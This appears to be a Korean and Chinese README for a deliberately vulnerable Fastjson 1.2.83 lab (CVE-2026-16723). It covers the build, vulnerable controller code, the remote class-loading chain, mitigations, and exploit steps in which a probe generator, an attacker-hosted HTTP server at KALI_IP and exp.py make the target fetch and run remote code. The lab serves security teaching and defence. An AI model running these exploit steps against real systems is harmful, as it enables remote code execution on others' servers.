
Fastjson 1.2.83 RCE 실습 환경 (CVE-2026-16723)
고지사항: 본 실습 환경은 승인된 환경에서의 보안 연구, 교육 시연 및 방어 구축 용도로만 제공됩니다. 승인되지 않은 대상을 무단으로 테스트하는 것은 불법일 수 있으며, 사용으로 인한 결과는 사용자 본인이 책임집니다.
| 항목 | 내용 |
|---|---|
| CVE | CVE-2026-16723 (CVSS 9.0) |
| 영향 버전 | Fastjson 1.2.68 ~ 1.2.83 |
| 취약점 유형 | 역직렬화 원격 코드 실행 (RCE) |
| 핵심 특징 | Gadget-free (타사 클래스 라이브러리에 의존하지 않음) |
| 완전 RCE 조건 | JDK 8 + Spring Boot Fat-JAR + SafeMode 비활성화 |
LaunchedURLClassLoader 포함, 익스플로잇 체인 필수 구성 요소)ParseController가 JSON.parse()를 호출하기 전에 스레드 ClassLoader를 LaunchedURLClassLoader로 전환합니다 (Thread.currentThread().setContextClassLoader(ParserConfig.class.getClassLoader())). 이는 @JSONType 탐지 경로가 원격으로 클래스를 로드할 수 있기 위한 필수 전제 조건입니다./parse (JSON.parse) 및 /parseObject (JSON.parseObject) 두 개의 파싱 엔드포인트 제공소스에서 fat-JAR 빌드 (JDK 8 + Maven 필요):
git clone https://github.com/why-success/fastjson-rce-lab.git
cd fastjson-rce-lab
mvn clean package -DskipTests
빌드 산출물은 target/fastjson-rce-lab.jar에 있습니다.
Maven이 없다면 프로젝트에 포함된 Maven Wrapper를 사용할 수 있습니다 (
mvnw사전 설정 필요).
# 双击 start.bat
# 或命令行
java -Xmx256m -Xms64m -XX:MaxMetaspaceSize=128m -XX:+UseSerialGC -jar target\fastjson-rce-lab.jar --server.port=18080
chmod +x start.sh
./start.sh
# 或手动启动
ulimit -n 65536
java -Xmx256m -Xms64m -XX:MaxMetaspaceSize=128m -XX:+UseSerialGC -jar target/fastjson-rce-lab.jar --server.port=18080
--server.port=18080관련: 환경에SERVER__PORT등의 환경 변수가 존재하면application.properties의 포트 설정을 덮어쓸 수 있습니다. 명령줄 매개변수로 강제 지정하면 포트가 올바르게 보장됩니다 (명령줄 매개변수 우선순위가 가장 높음).
JVM 매개변수 관련:
-Xmx256m -XX:+UseSerialGC는 저사양 메모리 가상 머신 (예: Kali 2-4G)에서 정상적으로 실행되도록 하여 JVM 초기화 시 OOM을 방지하기 위한 것입니다. 머신 메모리가 충분하다면 제거할 수 있습니다.
curl http://127.0.0.1:18080/status
예상 응답:
{
"fastjsonVersion": "1.2.83",
"safeMode": false,
"autoTypeSupport": false,
"vulnerable": true,
"javaVersion": "1.8.0_xxx"
}
safeMode: false이고 vulnerable: true이면 취약한 상태입니다.
1. 攻击者发送特制 JSON(@type 指向 jar:http 资源路径)
2. Fastjson checkAutoType() 将 typeName 转为资源路径 "typeName.replace('.', '/') + .class" 做探测
3. getResourceAsStream() 触发 LaunchedURLClassLoader → 发起 HTTP 请求拉取远程 JAR
4. ASM 扫描字节码,发现 @JSONType 注解 → 视为信任信号
5. 跳过危险基类检查 → loadClass() → defineClass()
6. 触发 <clinit> 静态初始化块 → RCE
// ParseController.java — /parse 端点
@PostMapping("/parse")
public Map<String, Object> parse(@RequestBody String body) {
// ⚠️ 这一行是关键:切换到 LaunchedURLClassLoader
Thread.currentThread().setContextClassLoader(ParserConfig.class.getClassLoader());
Object obj = JSON.parse(body);
// ...
}
이 setContextClassLoader 라인이 없으면 Fastjson은 시스템 기본 AppClassLoader를 사용하므로 jar:http:// 프로토콜로 원격 클래스를 로드할 수 없습니다.
git clone https://github.com/0x7eTeam/fastjson-1.2.83-rce.git
cd fastjson-1.2.83-rce
저장소에 포함된 poc/GenProbe.java의 두 가지 호환성 문제가 수정되었습니다:
/bin/bash -c → Runtime.exec(String) 범용 버전으로 변경 (Windows/Linux 모두 사용 가능)"cmd /c xxx" 사용, Linux 실습 환경은 "touch /tmp/pwned" 또는 "bash -c xxx" 직접 사용전체 공격 절차는 靶场测试完整指南.md (같은 디렉터리)를 참조하세요, 포함 내용:
# 在攻击机(或能编译 Java 的机器)上
cd fastjson-1.2.83-rce
javac -encoding UTF-8 -cp "poc/lib/*" -d poc/classes poc/GenProbe.java
java -cp "poc/classes;poc/lib/asm-9.6.jar;poc/lib/fastjson-1.2.83.jar" GenProbe KALI_IP 19090 "cmd /c calc"
# 将 poc/www/probe 拷到 Kali
# Kali 上启动 HTTP 托管
cd poc/www && python3 -m http.server 19090
# 重启靶场 → Kali 新终端打 exp
python3 poc/exp.py -u http://靶场IP:18080/parse -poc http://KALI_IP:19090/probe
# JVM 启动参数
-Dfastjson.parser.safeMode=true
// 代码配置
ParserConfig.getGlobalInstance().setSafeMode(true);
<dependency>
<groupId>com.alibaba.fastjson2</groupId>
<artifactId>fastjson2</artifactId>
<version>2.x</version>
</dependency>
Fastjson2는 이 취약점의 영향을 받지 않습니다.
com.alibaba:fastjson:1.2.83_noneautotype 빌드 버전 사용| 메서드 | 경로 | 설명 |
|---|
| GET | / | 실습 환경 메인 페이지 (HTML) |
| GET | /status | Fastjson 설정 상태 (JSON) |
| POST | /parse | JSON.parse(body) — 주요 취약점 트리거 엔드포인트 |
| POST | /parseObject | JSON.parseObject(body) — 예비 트리거 엔드포인트 |